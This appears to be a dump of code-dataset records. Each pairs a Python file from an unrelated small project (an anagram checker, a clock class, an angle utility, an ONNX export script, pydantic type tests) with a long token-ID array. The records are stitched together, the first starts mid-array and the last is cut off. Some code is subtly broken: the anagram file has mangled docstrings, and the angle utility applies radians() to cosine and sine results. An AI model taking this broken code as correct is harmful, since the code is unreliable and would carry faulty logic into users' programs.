22449, 1628, 1062, 29918, 29873, 29958, 29871, 302, 29918, 29873, 29936, 742, 13, 18884, 525, 1678, 21787, 2393, 3871, 302, 29873, 29906, 1057, 7299, 1057, 294, 29918, 16031, 29966, 29876, 29918, 29873, 21347, 1853, 259, 297, 29918, 29873, 29936, 742, 13, 18884, 525, 1678, 21787, 2393, 3871, 302, 29873, 29906, 1057, 7299, 1057, 4804, 29966, 593, 29906, 1057, 4039, 1057, 29938, 978, 14630, 1566, 22449, 10931, 21347, 1853, 364, 29918, 29873, 29936, 742, 13, 18884, 525, 1678, 21787, 2393, 3871, 302, 29873, 29906, 1057, 7299, 1057, 4804, 29966, 593, 29906, 1057, 4039, 1057, 29938, 978, 14630, 29898, 29876, 29918, 29873, 15410, 1057, 1853, 364, 29918, 29873, 29936, 742, 13, 18884, 525, 1678, 395, 22449, 29938, 20629, 353, 395, 1195, 29875, 22073, 742, 13, 18884, 525, 1678, 395, 22449, 29938, 4236, 29875, 353, 395, 3317, 29875, 22073, 742, 13, 18884, 525, 1678, 1040, 302, 29873, 29906, 1057, 13470, 29941, 29906, 29918, 29873, 405, 353, 302, 29873, 29906, 1057, 7299, 1057, 7543, 979, 29918, 974, 29966, 29876, 29918, 29873, 21347, 1767, 29936, 742, 13, 18884, 525, 1678, 1040, 297, 29918, 29873, 325, 29940, 353, 302, 29873, 29906, 1057, 23579, 271, 29966, 262, 29918, 29873, 5961, 29940, 416, 742, 13, 18884, 525, 1678, 1040, 302, 29873, 29906, 1057, 13470, 29941, 29906, 29918, 29873, 341, 353, 259, 29896, 29900, 29936, 742, 13, 18884, 525, 1678, 302, 29873, 29906, 1057, 13470, 29941, 29906, 29918, 29873, 298, 5137, 29961, 29924, 29974, 29896, 1385, 742, 13, 18884, 525, 1678, 363, 29898, 593, 29906, 1057, 13470, 29941, 29906, 29918, 29873, 474, 353, 29871, 29900, 29936, 474, 529, 341, 29936, 474, 4862, 298, 5137, 29961, 29875, 29962, 353, 29871, 29900, 29936, 742, 13, 18884, 525, 1678, 5785, 263, 29961, 29940, 1385, 742, 13, 18884, 525, 1678, 263, 29961, 29900, 29962, 353, 20629, 29936, 742, 13, 18884, 525, 1678, 363, 29898, 593, 29906, 1057, 13470, 29941, 29906, 29918, 29873, 474, 353, 29871, 29896, 29936, 474, 529, 405, 29936, 474, 4862, 742, 13, 18884, 525, 418, 263, 29961, 29875, 29962, 353, 302, 29873, 29906, 1057, 8698, 272, 29898, 29874, 29961, 29875, 29899, 29896, 1402, 29871, 29896, 416, 742, 13, 18884, 525, 1678, 302, 29918, 29873, 263, 29900, 353, 302, 29873, 29906, 1057, 1359, 29966, 29876, 29918, 29873, 5961, 29987, 29874, 29961, 29900, 1402, 29900, 416, 742, 13, 18884, 525, 1678, 302, 29873, 29906, 1057, 13470, 29941, 29906, 29918, 29873, 413, 353, 29871, 29900, 29892, 29926, 353, 29871, 29900, 29936, 742, 13, 18884, 525, 1678, 3659, 1057, 13147, 3532, 376, 29874, 1196, 310, 3291, 304, 4480, 363, 856, 367, 16500, 3850, 3532, 3659, 1057, 18495, 29936, 742, 13, 18884, 525, 1678, 363, 29898, 29936, 263, 29900, 29961, 29940, 29899, 29896, 29962, 529, 4236, 29875, 29936, 263, 29900, 353, 302, 29873, 29906, 1057, 8698, 272, 29898, 29874, 29900, 29892, 325, 29940, 876, 742, 13, 18884, 525, 418, 426, 742, 13, 18884, 525, 4706, 302, 29918, 29873, 503, 353, 29871, 302, 29873, 29906, 1057, 29938, 978, 12330, 29874, 29900, 416, 742, 13, 18884, 525, 4706, 363, 29898, 593, 29906, 1057, 13470, 29941, 29906, 29918, 29873, 474, 353, 29871, 29900, 29936, 474, 529, 405, 29936, 474, 4862, 742, 13, 18884, 525, 3986, 426, 742, 13, 18884, 525, 632, 5785, 325, 353, 1634, 9891, 29898, 29874, 29900, 29961, 29875, 5691, 742, 13, 18884, 525, 632, 5785, 2268, 353, 503, 29961, 29875, 1385, 742, 13, 18884, 525, 632, 8445, 29882, 5137, 29961, 593, 29906, 1057, 1195, 29898, 29924, 29892, 302, 29873, 29906, 1057, 381, 618, 29898, 29906, 29930, 593, 29906, 1057, 15323, 5721, 29898, 29894, 29892, 2268, 4961, 1385, 742, 13, 18884, 525, 632, 8445, 29895, 29936, 742, 13, 18884, 525, 632, 565, 313, 29895, 29995, 29896, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 1275, 29871, 29900, 2597, 742, 13, 18884, 525, 1669, 3659, 1057, 13147, 3532, 376, 1213, 3532, 3659, 1057, 23126, 29936, 8445, 29926, 29936, 742, 13, 18884, 525, 1669, 565, 313, 29926, 1275, 29871, 29947, 29900, 2597, 4172, 1057, 13147, 3532, 3659, 1057, 18495, 29936, 432, 353, 29871, 29900, 13951, 742, 13, 18884, 525, 632, 500, 742, 13, 18884, 525, 3986, 500, 742, 13, 18884, 525, 4706, 500, 742, 13, 18884, 525, 418, 3659, 1057, 13147, 3532, 376, 735, 2350, 504, 573, 1243, 363, 376, 3532, 3659, 1057, 18495, 29936, 742, 13, 18884, 525, 418, 3659, 1057, 13147, 3532, 376, 302, 29873, 29906, 1057, 29938, 978, 29938, 23797, 395, 3445, 9891, 29938, 376, 3532, 3659, 1057, 18495, 29936, 742, 13, 18884, 525, 418, 3659, 1057, 13147, 3532, 376, 297, 395, 8513, 29938, 4464, 322, 395, 22449, 29938, 1134, 29908, 3532, 3659, 1057, 18495, 29936, 742, 13, 18884, 525, 418, 363, 29898, 593, 29906, 1057, 13470, 29941, 29906, 29918, 29873, 474, 353, 29871, 29900, 29936, 474, 529, 341, 29936, 474, 4862, 742, 13, 18884, 525, 4706, 3659, 1057, 13147, 3532, 474, 29914, 29906, 29889, 29900, 3532, 376, 1599, 376, 3532, 298, 5137, 29961, 29875, 29962, 3532, 3659, 1057, 18495, 29936, 742, 13, 18884, 525, 418, 3659, 1057, 13147, 3532, 413, 3532, 376, 1819, 15712, 29908, 3532, 3659, 1057, 18495, 29936, 742, 13, 18884, 525, 418, 3659, 1057, 13147, 3532, 3659, 1057, 18495, 29936, 742, 13, 18884, 525, 418, 3659, 1057, 13147, 3532, 3659, 1057, 18495, 29936, 742, 13, 18884, 525, 418, 363, 29898, 593, 29906, 1057, 13470, 29941, 29906, 29918, 29873, 474, 353, 29871, 29900, 29936, 474, 529, 341, 29936, 474, 4862, 742, 13, 18884, 525, 4706, 3659, 1057, 13147, 3532, 474, 29914, 29906, 29889, 29900, 3532, 376, 1599, 376, 742, 13, 18884, 525, 462, 29871, 3532, 313, 29882, 5137, 29961, 29875, 14178, 29896, 29900, 29900, 29889, 29900, 29914, 29895, 29897, 3532, 11860, 29908, 3532, 3659, 1057, 18495, 29936, 742, 13, 18884, 525, 29871, 500, 742, 13, 18884, 15516, 13, 18884, 4514, 511, 13, 9651, 500, 13, 4706, 500, 13, 1678, 822, 4770, 2344, 12035, 1311, 29897, 584, 13, 4706, 1583, 29889, 29873, 572, 353, 1222, 2350, 504, 573, 29918, 1272, 29889, 29911, 572, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 29908, 584, 13, 1678, 1596, 4770, 1514, 1649, 13, 1678, 515, 282, 2158, 259, 1053, 4721, 4349, 4040, 1639, 13, 1678, 4721, 4349, 4040, 1639, 2141, 407, 29878, 524, 29898, 1252, 2350, 504, 573, 29918, 1272, 29889, 29911, 572, 29897, 13, 1678, 4721, 4349, 4040, 1639, 2141, 407, 29878, 524, 29898, 1252, 2350, 504, 573, 29918, 1272, 2141, 29873, 572, 29897, 13, 2 ]
WEEKS/CD_Sata-Structures/_MISC/algorithms/map/is_anagram.py
webdevhub42/Lambda
0
166947
<reponame>webdevhub42/Lambda ##------------------------------------------------------------------- """ Given two strings s and t , write a function to determine if t is an anagram of s. Example 1: Input: s = "anagram", t = "nagaram" Output: true Example 2: Input: s = "rat", t = "car" Output: false Note: You may assume the string contains only lowercase alphabets. Reference: https://leetcode.com/problems/valid-anagram/description/ ##------------------------------------------------------------------- """ ##------------------------------------------------------------------- """ def is_anagram(s, t): """ :type s: str ##------------------------------------------------------------------- """ :rtype: bool """ maps = {} mapt = {} for i in s: maps[i] = maps.get(i, 0) + 1 for i in t: mapt[i] = mapt.get(i, 0) + 1 return maps == mapt
[ 1, 529, 276, 1112, 420, 29958, 2676, 3359, 29882, 431, 29946, 29906, 29914, 9099, 13, 2277, 2683, 2683, 2683, 2683, 5634, 13, 15945, 29908, 13, 29954, 5428, 1023, 6031, 269, 322, 260, 1919, 2436, 263, 740, 304, 8161, 565, 260, 338, 385, 385, 14442, 310, 269, 29889, 13, 13, 14023, 29871, 29896, 29901, 13, 4290, 29901, 269, 353, 376, 273, 14442, 613, 260, 353, 376, 29876, 351, 11269, 29908, 13, 6466, 29901, 1565, 13, 13, 14023, 29871, 29906, 29901, 13, 4290, 29901, 269, 353, 376, 3605, 613, 260, 353, 376, 4287, 29908, 13, 6466, 29901, 2089, 13, 13, 9842, 29901, 13, 3492, 1122, 5251, 278, 1347, 3743, 871, 5224, 4878, 394, 561, 370, 1691, 29889, 13, 13, 7422, 29901, 2045, 597, 280, 300, 401, 29889, 510, 29914, 17199, 29879, 29914, 3084, 29899, 273, 14442, 29914, 8216, 29914, 13, 2277, 2683, 2683, 2683, 2683, 5634, 13, 15945, 29908, 13, 13, 2277, 2683, 2683, 2683, 2683, 5634, 13, 15945, 29908, 13, 1753, 338, 29918, 273, 14442, 29898, 29879, 29892, 260, 1125, 13, 1678, 9995, 13, 1678, 584, 1853, 269, 29901, 851, 13, 1678, 444, 2683, 2683, 2683, 2683, 5634, 13, 15945, 29908, 13, 1678, 584, 29878, 1853, 29901, 6120, 13, 1678, 9995, 13, 1678, 11053, 353, 6571, 13, 1678, 611, 415, 353, 6571, 13, 1678, 363, 474, 297, 269, 29901, 13, 4706, 11053, 29961, 29875, 29962, 353, 11053, 29889, 657, 29898, 29875, 29892, 29871, 29900, 29897, 718, 29871, 29896, 13, 1678, 363, 474, 297, 260, 29901, 13, 4706, 611, 415, 29961, 29875, 29962, 353, 611, 415, 29889, 657, 29898, 29875, 29892, 29871, 29900, 29897, 718, 29871, 29896, 13, 1678, 736, 11053, 1275, 611, 415, 13, 2 ]
exercices/clock/clock.py
gkaeso/exercism-python
0
141177
<reponame>gkaeso/exercism-python<filename>exercices/clock/clock.py class Clock: def __init__(self, hour, minute): self.total: int = hour * 60 + minute # in minutes def __repr__(self): hour, minute = (self.total // 60) % 24, self.total % 60 return '{:02d}:{:02d}'.format(hour, minute) def __eq__(self, other): return repr(self) == repr(other) def __add__(self, minutes: int): self.total += minutes return self def __sub__(self, minutes: int): self.total -= minutes return self
[ 1, 529, 276, 1112, 420, 29958, 29887, 1335, 20135, 29914, 735, 6269, 1608, 29899, 4691, 29966, 9507, 29958, 735, 6269, 1575, 29914, 13058, 29914, 13058, 29889, 2272, 13, 1990, 315, 908, 29901, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 7234, 29892, 11015, 1125, 13, 4706, 1583, 29889, 7827, 29901, 938, 353, 7234, 334, 29871, 29953, 29900, 718, 11015, 1678, 396, 297, 6233, 13, 13, 1678, 822, 4770, 276, 558, 12035, 1311, 1125, 13, 4706, 7234, 29892, 11015, 353, 313, 1311, 29889, 7827, 849, 29871, 29953, 29900, 29897, 1273, 29871, 29906, 29946, 29892, 1583, 29889, 7827, 1273, 29871, 29953, 29900, 13, 4706, 736, 22372, 29901, 29900, 29906, 29881, 6177, 25641, 29900, 29906, 29881, 29913, 4286, 4830, 29898, 18721, 29892, 11015, 29897, 13, 13, 1678, 822, 4770, 1837, 12035, 1311, 29892, 916, 1125, 13, 4706, 736, 2062, 29898, 1311, 29897, 1275, 2062, 29898, 1228, 29897, 13, 13, 1678, 822, 4770, 1202, 12035, 1311, 29892, 6233, 29901, 938, 1125, 13, 4706, 1583, 29889, 7827, 4619, 6233, 13, 4706, 736, 1583, 13, 13, 1678, 822, 4770, 1491, 12035, 1311, 29892, 6233, 29901, 938, 1125, 13, 4706, 1583, 29889, 7827, 22361, 6233, 13, 4706, 736, 1583, 13, 2 ]
misc/angleutil.py
SpencerZPoole/pythontools
1
189851
<reponame>SpencerZPoole/pythontools<gh_stars>1-10 from math import radians, sin, cos def apply_angle(angle, dist, *args): x, y = args[0] if len(args) == 1 else args return x + dist * radians(cos(angle)), y + dist * radians(sin(angle)) class Angle: __slots__ = 'angle', 'initial_angle', 'last' def __init__(self, initial_angle=0): self.initial_angle = initial_angle self.angle = initial_angle self.last = initial_angle def rotate(self, angle, relative=False): """ rotates based on [angle], use floats for precise rotations """ self.last = self.angle if relative: self.angle = (self.angle + angle) % 361 else: self.angle = angle % 361 def copy(self): inst = self.__class__(self.angle) inst.initial_angle, inst.last = self.initial_angle, self.last return inst def apply_to(self, pos, dist): try: x, y = pos except TypeError: x, y = pos.x, pos.y return x + dist * radians(cos(self.angle)), y + dist * radians(sin(self.angle))
[ 1, 529, 276, 1112, 420, 29958, 29903, 2238, 2265, 29999, 9837, 1772, 29914, 4691, 8504, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 3166, 5844, 1053, 2971, 5834, 29892, 4457, 29892, 6776, 13, 13, 13, 1753, 3394, 29918, 2521, 29898, 2521, 29892, 1320, 29892, 334, 5085, 1125, 13, 1678, 921, 29892, 343, 353, 6389, 29961, 29900, 29962, 565, 7431, 29898, 5085, 29897, 1275, 29871, 29896, 1683, 6389, 13, 1678, 736, 921, 718, 1320, 334, 2971, 5834, 29898, 3944, 29898, 2521, 8243, 343, 718, 1320, 334, 2971, 5834, 29898, 5223, 29898, 2521, 876, 13, 13, 13, 1990, 3218, 280, 29901, 13, 1678, 4770, 2536, 1862, 1649, 353, 525, 2521, 742, 525, 11228, 29918, 2521, 742, 525, 4230, 29915, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 2847, 29918, 2521, 29922, 29900, 1125, 13, 4706, 1583, 29889, 11228, 29918, 2521, 353, 2847, 29918, 2521, 13, 4706, 1583, 29889, 2521, 353, 2847, 29918, 2521, 13, 4706, 1583, 29889, 4230, 353, 2847, 29918, 2521, 13, 13, 1678, 822, 16734, 29898, 1311, 29892, 10696, 29892, 6198, 29922, 8824, 1125, 13, 4706, 9995, 13, 4706, 5731, 1078, 2729, 373, 518, 2521, 1402, 671, 5685, 1446, 363, 18378, 5731, 800, 13, 4706, 9995, 13, 4706, 1583, 29889, 4230, 353, 1583, 29889, 2521, 13, 4706, 565, 6198, 29901, 13, 9651, 1583, 29889, 2521, 353, 313, 1311, 29889, 2521, 718, 10696, 29897, 1273, 29871, 29941, 29953, 29896, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 2521, 353, 10696, 1273, 29871, 29941, 29953, 29896, 13, 13, 1678, 822, 3509, 29898, 1311, 1125, 13, 4706, 832, 353, 1583, 17255, 1990, 12035, 1311, 29889, 2521, 29897, 13, 4706, 832, 29889, 11228, 29918, 2521, 29892, 832, 29889, 4230, 353, 1583, 29889, 11228, 29918, 2521, 29892, 1583, 29889, 4230, 13, 4706, 736, 832, 13, 13, 1678, 822, 3394, 29918, 517, 29898, 1311, 29892, 926, 29892, 1320, 1125, 13, 4706, 1018, 29901, 13, 9651, 921, 29892, 343, 353, 926, 13, 4706, 5174, 20948, 29901, 13, 9651, 921, 29892, 343, 353, 926, 29889, 29916, 29892, 926, 29889, 29891, 13, 4706, 736, 921, 718, 1320, 334, 2971, 5834, 29898, 3944, 29898, 1311, 29889, 2521, 8243, 343, 718, 1320, 334, 2971, 5834, 29898, 5223, 29898, 1311, 29889, 2521, 876, 13, 2 ]
network/pytorch2onnx.py
MRsoymilk/toy-car
0
7733
import Net import configparser import torch from PIL import Image config = configparser.ConfigParser() config.read('./config.ini') MODEL = config.get("Network", "Model") transformations = Net.transformations net = Net.Net() net.eval() net.load_state_dict(torch.load(MODEL)) image = Image.open("./html/rwby.jpg") image = transformations(image).float() image = torch.autograd.Variable(image[None, ...]) torch.onnx.export( net, image, MODEL.split('pth')[0] + 'onnx', export_params=True, output_names=['toy-car'] ) print("finish")
[ 1, 1053, 12670, 13, 5215, 2295, 16680, 13, 5215, 4842, 305, 13, 3166, 349, 6227, 1053, 7084, 13, 13, 2917, 353, 2295, 16680, 29889, 3991, 11726, 580, 13, 2917, 29889, 949, 877, 6904, 2917, 29889, 2172, 1495, 13, 20387, 29931, 353, 2295, 29889, 657, 703, 13724, 613, 376, 3195, 1159, 13, 13, 9067, 800, 353, 12670, 29889, 9067, 800, 13, 1212, 353, 12670, 29889, 6779, 580, 13, 13, 1212, 29889, 14513, 580, 13, 1212, 29889, 1359, 29918, 3859, 29918, 8977, 29898, 7345, 305, 29889, 1359, 29898, 20387, 29931, 876, 13, 13, 3027, 353, 7084, 29889, 3150, 703, 6904, 1420, 29914, 13975, 1609, 29889, 6173, 1159, 13, 3027, 353, 29304, 29898, 3027, 467, 7411, 580, 13, 3027, 353, 4842, 305, 29889, 1300, 468, 3665, 29889, 16174, 29898, 3027, 29961, 8516, 29892, 2023, 2314, 13, 13, 7345, 305, 29889, 3409, 29916, 29889, 15843, 29898, 13, 1678, 7787, 29892, 13, 1678, 1967, 29892, 13, 1678, 16999, 2287, 29931, 29889, 5451, 877, 29886, 386, 29861, 29900, 29962, 718, 525, 3409, 29916, 742, 13, 1678, 5609, 29918, 7529, 29922, 5574, 29892, 13, 1678, 1962, 29918, 7039, 29922, 1839, 517, 29891, 29899, 4287, 2033, 13, 29897, 13, 13, 2158, 703, 4951, 728, 1159, 13, 2 ]
tests/model/pydantic/test_types.py
PieInsurance/datamodel-code-generator
0
195562
<gh_stars>0 import pytest from datamodel_code_generator import PythonVersion from datamodel_code_generator.imports import Import from datamodel_code_generator.model.pydantic.imports import ( IMPORT_CONDECIMAL, IMPORT_CONFLOAT, IMPORT_CONINT, IMPORT_CONSTR, IMPORT_NEGATIVE_FLOAT, IMPORT_NEGATIVE_INT, IMPORT_POSITIVE_FLOAT, IMPORT_POSITIVE_INT, ) from datamodel_code_generator.model.pydantic.types import DataTypeManager from datamodel_code_generator.types import DataType, Types @pytest.mark.parametrize( 'types,params,data_type', [ (Types.integer, {}, DataType(type='int')), ( Types.integer, {'maximum': 10}, DataType( type='conint', is_func=True, kwargs={'le': 10}, imports=[IMPORT_CONINT] ), ), ( Types.integer, {'exclusiveMaximum': 10}, DataType( type='conint', is_func=True, kwargs={'lt': 10}, imports=[IMPORT_CONINT] ), ), ( Types.integer, {'minimum': 10}, DataType( type='conint', is_func=True, kwargs={'ge': 10}, imports=[IMPORT_CONINT] ), ), ( Types.integer, {'exclusiveMinimum': 10}, DataType( type='conint', is_func=True, kwargs={'gt': 10}, imports=[IMPORT_CONINT] ), ), ( Types.integer, {'multipleOf': 10}, DataType( type='conint', is_func=True, kwargs={'multiple_of': 10}, imports=[IMPORT_CONINT], ), ), ( Types.integer, {'exclusiveMinimum': 0}, DataType(type='PositiveInt', imports=[IMPORT_POSITIVE_INT]), ), ( Types.integer, {'exclusiveMaximum': 0}, DataType(type='NegativeInt', imports=[IMPORT_NEGATIVE_INT]), ), ], ) def test_get_data_int_type(types, params, data_type): assert DataTypeManager().get_data_int_type(types, **params) == data_type @pytest.mark.parametrize( 'types,params,data_type', [ (Types.float, {}, DataType(type='float')), ( Types.float, {'maximum': 10}, DataType( type='confloat', is_func=True, kwargs={'le': 10}, imports=[IMPORT_CONFLOAT], ), ), ( Types.float, {'exclusiveMaximum': 10}, DataType( type='confloat', is_func=True, kwargs={'lt': 10.0}, imports=[IMPORT_CONFLOAT], ), ), ( Types.float, {'minimum': 10}, DataType( type='confloat', is_func=True, kwargs={'ge': 10.0}, imports=[IMPORT_CONFLOAT], ), ), ( Types.float, {'exclusiveMinimum': 10}, DataType( type='confloat', is_func=True, kwargs={'gt': 10.0}, imports=[IMPORT_CONFLOAT], ), ), ( Types.float, {'multipleOf': 10}, DataType( type='confloat', is_func=True, kwargs={'multiple_of': 10.0}, imports=[IMPORT_CONFLOAT], ), ), ( Types.float, {'exclusiveMinimum': 0}, DataType(type='PositiveFloat', imports=[IMPORT_POSITIVE_FLOAT]), ), ( Types.float, {'exclusiveMaximum': 0}, DataType(type='NegativeFloat', imports=[IMPORT_NEGATIVE_FLOAT]), ), ], ) def test_get_data_float_type(types, params, data_type): assert DataTypeManager().get_data_float_type(types, **params) == data_type @pytest.mark.parametrize( 'types,params,data_type', [ ( Types.decimal, {}, DataType( type='Decimal', imports=[Import(from_='decimal', import_='Decimal')] ), ), ( Types.decimal, {'maximum': 10}, DataType( type='condecimal', is_func=True, kwargs={'le': 10}, imports=[IMPORT_CONDECIMAL], ), ), ( Types.decimal, {'exclusiveMaximum': 10}, DataType( type='condecimal', is_func=True, kwargs={'lt': 10}, imports=[IMPORT_CONDECIMAL], ), ), ( Types.decimal, {'minimum': 10}, DataType( type='condecimal', is_func=True, kwargs={'ge': 10}, imports=[IMPORT_CONDECIMAL], ), ), ( Types.decimal, {'exclusiveMinimum': 10}, DataType( type='condecimal', is_func=True, kwargs={'gt': 10}, imports=[IMPORT_CONDECIMAL], ), ), ( Types.decimal, {'multipleOf': 10}, DataType( type='condecimal', is_func=True, kwargs={'multiple_of': 10}, imports=[IMPORT_CONDECIMAL], ), ), ], ) def test_get_data_decimal_type(types, params, data_type): assert DataTypeManager().get_data_decimal_type(types, **params) == data_type @pytest.mark.parametrize( 'types,params,data_type', [ (Types.string, {}, DataType(type='str')), ( Types.string, {'pattern': '^abc'}, DataType( type='constr', is_func=True, kwargs={'regex': "r'^abc'"}, imports=[IMPORT_CONSTR], ), ), ( Types.string, {'minLength': 10}, DataType( type='constr', is_func=True, kwargs={'min_length': 10}, imports=[IMPORT_CONSTR], ), ), ( Types.string, {'maxLength': 10}, DataType( type='constr', is_func=True, kwargs={'max_length': 10}, imports=[IMPORT_CONSTR], ), ), ], ) def test_get_data_str_type(types, params, data_type): assert DataTypeManager().get_data_str_type(types, **params) == data_type @pytest.mark.parametrize( 'types,params,data_type', [ (Types.string, {}, DataType(type='str')), (Types.integer, {}, DataType(type='int')), (Types.float, {}, DataType(type='float')), (Types.boolean, {}, DataType(type='bool')), ( Types.decimal, {}, DataType( type='Decimal', imports=[Import(from_='decimal', import_='Decimal')] ), ), ], ) def test_get_data_type(types, params, data_type): assert DataTypeManager().get_data_type(types, **params) == data_type def test_data_type_type_hint(): assert DataType(type='str').type_hint == 'str' assert DataType(type='constr', is_func=True).type_hint == 'constr()' assert ( DataType(type='constr', is_func=True, kwargs={'min_length': 10}).type_hint == 'constr(min_length=10)' )
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 5215, 11451, 1688, 13, 13, 3166, 1418, 314, 27224, 29918, 401, 29918, 27959, 1053, 5132, 6594, 13, 3166, 1418, 314, 27224, 29918, 401, 29918, 27959, 29889, 326, 4011, 1053, 16032, 13, 3166, 1418, 314, 27224, 29918, 401, 29918, 27959, 29889, 4299, 29889, 2272, 29881, 7716, 29889, 326, 4011, 1053, 313, 13, 1678, 306, 3580, 8476, 29918, 6007, 2287, 29907, 2260, 29931, 29892, 13, 1678, 306, 3580, 8476, 29918, 6007, 29943, 3927, 1299, 29892, 13, 1678, 306, 3580, 8476, 29918, 6007, 10192, 29892, 13, 1678, 306, 3580, 8476, 29918, 6007, 10810, 29892, 13, 1678, 306, 3580, 8476, 29918, 8186, 29954, 1299, 18474, 29918, 29943, 3927, 1299, 29892, 13, 1678, 306, 3580, 8476, 29918, 8186, 29954, 1299, 18474, 29918, 10192, 29892, 13, 1678, 306, 3580, 8476, 29918, 24815, 1806, 18474, 29918, 29943, 3927, 1299, 29892, 13, 1678, 306, 3580, 8476, 29918, 24815, 1806, 18474, 29918, 10192, 29892, 13, 29897, 13, 3166, 1418, 314, 27224, 29918, 401, 29918, 27959, 29889, 4299, 29889, 2272, 29881, 7716, 29889, 8768, 1053, 3630, 1542, 3260, 13, 3166, 1418, 314, 27224, 29918, 401, 29918, 27959, 29889, 8768, 1053, 3630, 1542, 29892, 28025, 13, 13, 13, 29992, 2272, 1688, 29889, 3502, 29889, 3207, 300, 374, 911, 29898, 13, 1678, 525, 8768, 29892, 7529, 29892, 1272, 29918, 1853, 742, 13, 1678, 518, 13, 4706, 313, 10562, 29889, 16031, 29892, 24335, 3630, 1542, 29898, 1853, 2433, 524, 1495, 511, 13, 4706, 313, 13, 9651, 28025, 29889, 16031, 29892, 13, 9651, 11117, 27525, 398, 2396, 29871, 29896, 29900, 1118, 13, 9651, 3630, 1542, 29898, 13, 18884, 1134, 2433, 535, 524, 742, 338, 29918, 9891, 29922, 5574, 29892, 9049, 5085, 3790, 29915, 280, 2396, 29871, 29896, 29900, 1118, 24802, 11759, 29902, 3580, 8476, 29918, 6007, 10192, 29962, 13, 9651, 10353, 13, 4706, 10353, 13, 4706, 313, 13, 9651, 28025, 29889, 16031, 29892, 13, 9651, 11117, 735, 7009, 573, 7976, 12539, 2396, 29871, 29896, 29900, 1118, 13, 9651, 3630, 1542, 29898, 13, 18884, 1134, 2433, 535, 524, 742, 338, 29918, 9891, 29922, 5574, 29892, 9049, 5085, 3790, 29915, 1896, 2396, 29871, 29896, 29900, 1118, 24802, 11759, 29902, 3580, 8476, 29918, 6007, 10192, 29962, 13, 9651, 10353, 13, 4706, 10353, 13, 4706, 313, 13, 9651, 28025, 29889, 16031, 29892, 13, 9651, 11117, 1195, 12539, 2396, 29871, 29896, 29900, 1118, 13, 9651, 3630, 1542, 29898, 13, 18884, 1134, 2433, 535, 524, 742, 338, 29918, 9891, 29922, 5574, 29892, 9049, 5085, 3790, 29915, 479, 2396, 29871, 29896, 29900, 1118, 24802, 11759, 29902, 3580, 8476, 29918, 6007, 10192, 29962, 13, 9651, 10353, 13, 4706, 10353, 13, 4706, 313, 13, 9651, 28025, 29889, 16031, 29892, 13, 9651, 11117, 735, 7009, 573, 8140, 12539, 2396, 29871, 29896, 29900, 1118, 13, 9651, 3630, 1542, 29898, 13, 18884, 1134, 2433, 535, 524, 742, 338, 29918, 9891, 29922, 5574, 29892, 9049, 5085, 3790, 29915, 4141, 2396, 29871, 29896, 29900, 1118, 24802, 11759, 29902, 3580, 8476, 29918, 6007, 10192, 29962, 13, 9651, 10353, 13, 4706, 10353, 13, 4706, 313, 13, 9651, 28025, 29889, 16031, 29892, 13, 9651, 11117, 20787, 2776, 2396, 29871, 29896, 29900, 1118, 13, 9651, 3630, 1542, 29898, 13, 18884, 1134, 2433, 535, 524, 742, 13, 18884, 338, 29918, 9891, 29922, 5574, 29892, 13, 18884, 9049, 5085, 3790, 29915, 20787, 29918, 974, 2396, 29871, 29896, 29900, 1118, 13, 18884, 24802, 11759, 29902, 3580, 8476, 29918, 6007, 10192, 1402, 13, 9651, 10353, 13, 4706, 10353, 13, 4706, 313, 13, 9651, 28025, 29889, 16031, 29892, 13, 9651, 11117, 735, 7009, 573, 8140, 12539, 2396, 29871, 29900, 1118, 13, 9651, 3630, 1542, 29898, 1853, 2433, 9135, 3321, 2928, 742, 24802, 11759, 29902, 3580, 8476, 29918, 24815, 1806, 18474, 29918, 10192, 11724, 13, 4706, 10353, 13, 4706, 313, 13, 9651, 28025, 29889, 16031, 29892, 13, 9651, 11117, 735, 7009, 573, 7976, 12539, 2396, 29871, 29900, 1118, 13, 9651, 3630, 1542, 29898, 1853, 2433, 29940, 387, 1230, 2928, 742, 24802, 11759, 29902, 3580, 8476, 29918, 8186, 29954, 1299, 18474, 29918, 10192, 11724, 13, 4706, 10353, 13, 1678, 21251, 13, 29897, 13, 1753, 1243, 29918, 657, 29918, 1272, 29918, 524, 29918, 1853, 29898, 8768, 29892, 8636, 29892, 848, 29918, 1853, 1125, 13, 1678, 4974, 3630, 1542, 3260, 2141, 657, 29918, 1272, 29918, 524, 29918, 1853, 29898, 8768, 29892, 3579, 7529, 29897, 1275, 848, 29918, 1853, 13, 13, 13, 29992, 2272, 1688, 29889, 3502, 29889, 3207, 300, 374, 911, 29898, 13, 1678, 525, 8768, 29892, 7529, 29892, 1272, 29918, 1853, 742, 13, 1678, 518, 13, 4706, 313, 10562, 29889, 7411, 29892, 24335, 3630, 1542, 29898, 1853, 2433, 7411, 1495, 511, 13, 4706, 313, 13, 9651, 28025, 29889, 7411, 29892, 13, 9651, 11117, 27525, 398, 2396, 29871, 29896, 29900, 1118, 13, 9651, 3630, 1542, 29898, 13, 18884, 1134, 2433, 5527, 3071, 742, 13, 18884, 338, 29918, 9891, 29922, 5574, 29892, 13, 18884, 9049, 5085, 3790, 29915, 280, 2396, 29871, 29896, 29900, 1118, 13, 18884, 24802, 11759, 29902, 3580, 8476, 29918, 6007, 29943, 3927, 1299, 1402, 13, 9651, 10353, 13, 4706, 10353, 13, 4706, 313, 13, 9651, 28025, 29889, 7411, 29892, 13, 9651, 11117, 735, 7009, 573, 7976, 12539, 2396, 29871, 29896, 29900, 1118, 13, 9651, 3630, 1542, 29898, 13, 18884, 1134, 2433, 5527, 3071, 742, 13, 18884, 338, 29918, 9891, 29922, 5574, 29892, 13, 18884, 9049, 5085, 3790, 29915, 1896, 2396, 29871, 29896, 29900, 29889, 29900, 1118, 13, 18884, 24802, 11759, 29902, 3580, 8476, 29918, 6007, 29943, 3927, 1299, 1402, 13, 9651, 10353, 13, 4706, 10353, 13, 4706, 313, 13, 9651, 28025, 29889, 7411, 29892, 13, 9651, 11117, 1195, 12539, 2396, 29871, 29896, 29900, 1118, 13, 9651, 3630, 1542, 29898, 13, 18884, 1134, 2433, 5527, 3071, 742, 13, 18884, 338, 29918, 9891, 29922, 5574, 29892, 13, 18884, 9049, 5085, 3790, 29915, 479, 2396, 29871, 29896, 29900, 29889, 29900, 1118, 13, 18884, 24802, 11759, 